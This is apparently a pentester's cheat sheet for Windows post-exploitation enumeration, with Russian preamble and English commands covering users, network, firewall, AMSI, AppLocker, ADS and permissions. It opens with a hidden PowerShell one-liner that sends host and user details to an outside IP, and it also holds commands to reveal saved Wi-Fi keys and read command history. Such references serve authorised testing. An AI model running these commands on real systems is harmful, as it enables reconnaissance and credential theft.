Windows
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
1. Закрепите текущий уровень доступа и соберите контекст (ОС, сеть, домен).
2. Минимизируйте шум: избегайте лишних действий вне scope.
3. Документируйте команды и вывод для отчёта.
4. Ниже — заголовки и примеры команд на английском.
Методика
General information exfiltration
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -nop -w hidden -c iwr -UseBasicParsing -Uri "http://10.10.10.4/index.html?h=$(hostname)?x64=$([Environment]::Is64BitProcess)?u=$($env:USERNAME)?cd=$(Get-Location)?ip=$((Test-Connection -ComputerName (hostname) -Count 1).IPV4Address.IPAddressToString)?clm=$($ExecutionContext.SessionState.LanguageMode)?AppLockerS=$(Get-Service -Name "AppIDSvc" | Select-Object -ExpandProperty Status)?AppLockerR=$(Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionTypes| Format-List| Out-String)"
PowerShell History
c:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
User and group enumeration
whoami
echo %username%
Privileges
whoami /all
whoami /priv
Groups
net localgroup
net localgroup "<Group>"
# View Domain Groups
net "<Group>" /domain
Operative system
wmic os get osarchitecture
ver
systeminfo
cmd /c set
echo %USERDOMAIN% -> Returns domain name
systeminfo | findstr /B /C:"Domain"
Get-WMIObject Win32_ComputerSystem | Select-Object Name, Domain
Network enumeration
C:UsersMarmeus>type C:WindowsSystem32driversetchosts
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
netstat -ano
route print
ipconfig /all
net share
net1 share
Get-SmbServerConfiguration | select EnableSecuritySignature
net view
Status firewall
Deprecated command
# Check if Windows Defender is enabled
Get-MpComputerStatus
# Check if firewall it is enabled
Get-NetFirewallProfile | Select-Object Name,Enabled
# Allowed Firewall Ports
Get-NetFirewallRule | Get-NetFirewallPortFilter | Where-Object { $_.Protocol -eq 'TCP' -and $_.LocalPort -ne 'Any' }
# Blocked ports/applications
Get-NetFirewallRule -PolicyStore ActiveStore | where {$_.Action -eq "Block"}
1. netsh wlan show profile
2. netsh wlan show profile name=<ProfileName> key=clear
arp -a
Constrained Language Enabled (CLM)
$ExecutionContext.SessionState.LanguageMode
# If enabled it wouldn't work
[Math]::Cos(1)
[System.Console]::WriteLine("ConstrainedModeTest")
AMSI
# Alternative 1
'amsiutils'
'amsicontext'
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
'Invoke-Mimikatz'
# Alternative 2
set-content .ADS_Test.txt:EICAR 'X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
AppLocker
ApGet-Service -Name "AppIDSvc" | Select-Object -ExpandProperty Status
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionTypes| Format-List| Out-String
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-ExecutionPolicy -List | Format-Table -AutoSize
Files Enumeration
PowerShell History
type c:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Disks
# CMD
list volume
# PowerShell
c:Users>powershell -c get-psdrive -psprovider filesystem
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
C 19,69 9,70 FileSystem C: Users
W 2,52 17,48 FileSystem W:
Alternate Data Streams
dir /r
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
echo payaso | set-content -path .prueba.txt -stream hidden
echo pepe | prueba.txt:pepe
gc -path .prueba.txt -stream hidden
more < prueba.txt:hidden
Permissions
# Directory permissions
Get-acl C:backupScripts* | Format-Table -Wrap -Autosize
# Directory / File permissions
icacls "<Path>"
Simple Rights
| Mask | Permission |
| :–: | ———————– |
| F | Full access |
| M | Modify access |
| RX | Read and execute access |
| R | Read-only access |
| W | Write-only access |
Specific Rights
| Mask | Permission |
| :–: | —————————— |
| D | Delete |
| RC | Read control |
| WDAC | Write DAC |
| WO | Write Owner |
| S | Synchronize |
| AS | Access System security |
| MA | Maximum Allowed |
| GR | Generic Read |
| GW | Generic Write |
| GE | Generic Execute |
| GA | Generic All |
| RD | Read Data / List Directory |
| WD | Write Data / Add File |
| AD | Append Data / Add subdirectory |
| REA | Read Extended Attributes |
| WEA | Writer Extended Attributes |
| X | Execute |
| DC | Delete Child |
| RA | Read Attributes |
| WA | Write Attributes |
Inheritance righsts (Applied only to directories)
| Mask | Permission |
| :–: | —————————————— |
| OI | Object Inherit |
| CI | Container Inherit |
| IO | Inherit Only |
| NP | Do not propagate inherit |
| I | Permission inherited from parent container |
Service rights
| Mask | Permission | Meaning |
| —- | —————————– | —————————————————— |
| CC | SERVICE QUERY CONFIG | Ask the SCM for the service’s current configuration |
| LC | SERVICE QUERY STATUS | Ask the SCM for the service’s current status |
| SW | SERVICE ENUMERATE DEPENDENTS | List dependent services |
| LO | SERVICE INTERROGATE | Ask the service its current status |
| CR | SERVICE USER_DEFINED CONTROL | Send a service control defined by the service’s author |
| RC | READ CONTROL | Read the security descriptor on this service. |
| RP | SERVICE START | Start the service |
| WP | Service stop | Stop the service |
| DT | Service Pause continue | Pause or continue the service |
List Installed HotFixes
Get-Hotfix
Running processes
tasklist
Scheduled Tasks
(Get-ScheduledTask [-TaskName '<TASK_NAME>']).Actions
# List scheduled tasks under Users folder
Get-ScheduledTask -TaskPath "Users*"
# List specific information on specified Tasks
Get-ScheduledTaskInfo -TaskName <Full Path>
—
